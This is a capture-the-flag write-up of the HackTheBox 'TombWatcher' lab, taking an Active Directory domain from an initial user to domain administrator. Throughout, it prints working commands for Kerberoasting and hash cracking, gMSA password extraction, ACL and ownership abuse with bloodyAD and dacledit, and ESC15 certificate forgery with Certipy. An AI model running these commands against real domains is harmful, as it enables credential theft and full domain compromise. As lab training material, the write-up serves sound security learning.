TombWatcher · Write-up HackTheBox

ESC15
ADCS
GenericAll
ObjectOwnership
Kerberoasting
Certipy
ACLAbuse

Initial Enumeration#

Port Scan#

An aggressive TCP scan with Nmap reveals a typical AD environment:

bash

nmap -sC -sV -O -T5 -v $IP

text

53/tcp   - DNS
80/tcp   - HTTP (Microsoft IIS 10.0)
88/tcp   - Kerberos
135/tcp  - RPC
139/tcp  - NetBIOS
389/tcp  - LDAP
445/tcp  - SMB
464/tcp  - kpasswd5
593/tcp  - RPC over HTTP
636/tcp  - LDAPS
3268/tcp - Global Catalog LDAP
3269/tcp - LDAPS Global Catalog
5985/tcp - WinRM

The host is identified as a Windows Server 2019 domain controller (DC01.tombwatcher.htb). A local DNS entry is added:

bash

echo "10.10.11.72 tombwatcher.htb DC01.tombwatcher.htb" >> /etc/hosts

LDAP Enumeration & Kerberoasting#

Initial Credentials#

Initial access is provided with valid credentials:

_As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!_

I perform an LDAP dump using nxc with the provided credentials to extract Active Directory information.

bash

nxc ldap $DOMAIN -u 'henry' -p 'H3nry_987TGV!' --bloodhound -c all --dns-server $IP

Start Kerberoasting alfred

bash

nxc ldap tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' -kerberoasting list > kerb.txt

An error related to Kerberos time skew appears: Clock skew too great

bash

faketime "$(rdate -n $IP -p | awk '{print $2, $3, $4}' | date -f - "+%Y-%m-%d %H:%M:%S")" zsh

Re-running the attack retrieves a service ticket hash, which is cracked using hashcat:

bash

hashcat -a 0 -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Result:

alfred/basketball

Lateral Movement via Group Membership and Managed Passwords#

With Alfred's credentials, we add him to the infrastructure group:

bash

bloodyAD -host $IP -d $DOMAIN -u "alfred" -p "basketball" add groupMember "infrastructure" "alfred"

We then abuse the permissions to extract the managed password of a computer object:

bash

bloodyAD -host $IP -d $DOMAIN -u "alfred" -p "basketball" get object ANSIBLE_DEV$ -attr msDS-ManagedPassword

Using the managed password, we authenticate as ANSIBLE_DEV$ and reset the password of user sam:

bash

bloodyAD --host $IP -d $DOMAIN -u 'ANSIBLE_DEV$' -p ':1c37d00093dc2a5f25176bf2d474afdc' set password "sam" 'Password123*'

Escalation to User John#

We pivot to manipulate the user john by taking ownership and granting privileges:

bash

bloodyAD --host $IP -d $DOMAIN -u "sam" -p "Password123*" set owner john sam

bash

bloodyAD --host $IP -d $DOMAIN -u "sam" -p "Password123*" add genericAll "john" "sam"

bash

bloodyAD --host $IP -d $DOMAIN -u "sam" -p "Password123*" set password "john" "NewPassword123*"

Now, i have credentials for:

john/NewPassword123**

I can connect via Evil-WinRM:

bash

evil-winrm -i $IP -u john -p 'NewPassword123*'

The user flag is :

Domain Escalation via ADCS (ESC15)#

BloodHound reveals that john has write access over the ADCS OU. We use impacket-dacledit:

bash

impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'john' -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' 'tombwatcher.htb'/'john':'NewPassword123*'

Using that, we reset the password of cert_admin:

bash

bloodyAD --host $IP -d $DOMAIN  -u 'john' -p 'NewPassword123*' set password cert_admin 'NewPassword123*'

We enumerate vulnerable certificate templates using Certipy:

bash

certipy-ad find -u cert_admin -p "NewPassword123*" -dc-ip 10.10.11.72 -vulnerable

The template ECS15 is found to be vulnerable (ESC15).

Exploitation of ESC15 and Domain Admin Access#

Using the vulnerable template, we forge a certificate for administrator@tombwatcher.htb:

bash

certipy-ad req \                                 
    -u 'cert_admin@tombwatcher.htb' -p 'NewPassword123*' \
    -dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
    -ca 'tombwatcher-CA-1' -template 'WebServer' \
    -upn 'administrator@tombwatcher.htb'  \
    -application-policies 'Client Authentication'

Then, authenticate and reset the Administrator password:

bash

certipy-ad auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72' -ldap-shell

change_password administrator Coucou123*

Final access:

bash

evil-winrm -i $IP -u administrator -p 'Coucou123*'

Root flag:

Attack Summary#

Step	Description
Initial Access	Credentials for `henry`
Kerberoasting	Cracked password for `alfred`
Group Privilege Abuse	Added `alfred` to infrastructure group
Managed Password Extraction	Recovered credentials for machine account `ANSIBLE_DEV$`
User Privilege Escalation	Abused ownership and reset credentials for `john`
ADCS Abuse (ESC15)	Gained access to `cert_admin`, requested forged certificate
Domain Admin Access	Used certificate to reset `administrator` password

Conclusion#

TombWatcher is a solid AD lab demonstrating a full path from user to domain administrator using a combination of:

Kerberoasting and hash cracking
BloodHound enumeration
ACL abuse via bloodyAD and impacket-dacledit
Misconfigured ADCS template exploitation (ESC15) via Certipy

The box effectively illustrates how common AD misconfigurations, if chained correctly, lead to full compromise of the domain.

Techniques utilisées#

BloodHound
Kerberoasting Exploitation
ADCS - ESC Attacks 🔥 — ESC1
Pass the Certificate
Exploit SMB
Exploit Winrm
Netexec